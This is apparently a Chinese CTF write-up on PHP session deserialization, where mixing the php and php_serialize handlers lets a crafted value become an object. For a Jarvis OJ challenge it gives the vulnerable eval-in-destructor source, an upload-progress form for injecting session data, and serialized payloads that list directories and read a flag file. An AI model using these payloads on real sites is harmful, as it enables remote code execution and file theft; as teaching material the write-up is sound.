php存储session有三种模式,php_serialize, php, binary

1
2
3
4
5
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

其中php_serialize和php的不合理使用会导致安全问题的发生

关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,可以在php.ini里面设置session.save_path存储的位置

设置序列化规则则是

注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错

1
2
session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5之后启用 它是用serialize反序列化格式分割

首先看 session.serialize_handler = php 序列化的结果

它的规则是$_SESSION是个数组,数组中的键和值中间用 | 来分割,值如果是数组或对象按照序列化的格式存储

session.serialize_handler = php_serialize的序列化结果为

它是全程按照serialize的格式序列化了$_SESSION这个数组

它比php的格式多了个最前面多了个 “a:2:{ ….” 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也表明了长度和属性,中间用 ; 来隔开键值对

虽然2个序列化格式本身没有问题,但是如果2个混合起用就会造成危害

形成原理是在用 session.serialize_handler = php_serialize 存储的字符可以引入 | ,再用 session.serialize_handler = php 格式取出$_SESSION的值时“|”会被当成键值对的分隔符

即,当先用php存了数组,在$_SESSION[‘a’]的值中加入 | ,并在之后写成一个数组的序列化格式

如果正常的用php_serialize解析,它返回的是$_SESSION[‘a’]是个长度为50的字符串

如果用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组

例题

题目链接:http://web.jarvisoj.com:32784/

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

由源码可知,能够查看phpinfo

除此之外,看到construct()和_destruct()两个魔术方法,很有可能是反序列化。并且,destruct()中有 eval($this -> mdzz)

如果 $this -> mdzz 可控的话,那就明显是个webshell了,但这里不知如何利用

再看到备注的 ini_set(‘session.serialize_handler’,’php’) 又从phpinfo中可看到

在php.ini中默认的session.serialize_handler为php_serialize,而index.php中将其设置为了php,这就导致了session的反序列化问题 (PHP 获取到 session 字符串后,就开始查找第一个 |(竖线),用竖线将字符串分割成“键名”和“键值”, 并对“键值”进行反序列化。但如果这次反序列化失败,就放弃这次解析,再去找下一个竖线,执行同样的操作,直到成功。)

这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问时就会被php的引擎反序列化

学习大佬的笔记,利用了 上传进度支持(Upload progress in sessions) 的知识点来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中

查看该题的phpinfo,session.upload_progress.enabled 打开,session.upload_progress.cleanup 关闭

上传页面的写法如下:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">        
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

任意上传文件后,在访问文件名时,触发反序列化漏洞,我们需要控制名字。实际上我们可以看到,我们最终需要的是class类中的一个$mdzz变量,在序列化中保存的信息会采用class的信息保存,不仅有mdzz变量,所以复制一个同样的class和变量然后来序列化

1
2
3
4
5
6
7
8
9
10
<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);
?>

为防止转义,在引号前加上\。在前面加上一个|,这是session的格式

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

同理

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

那么只需利用file_get_contents()即可得到文件内容

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}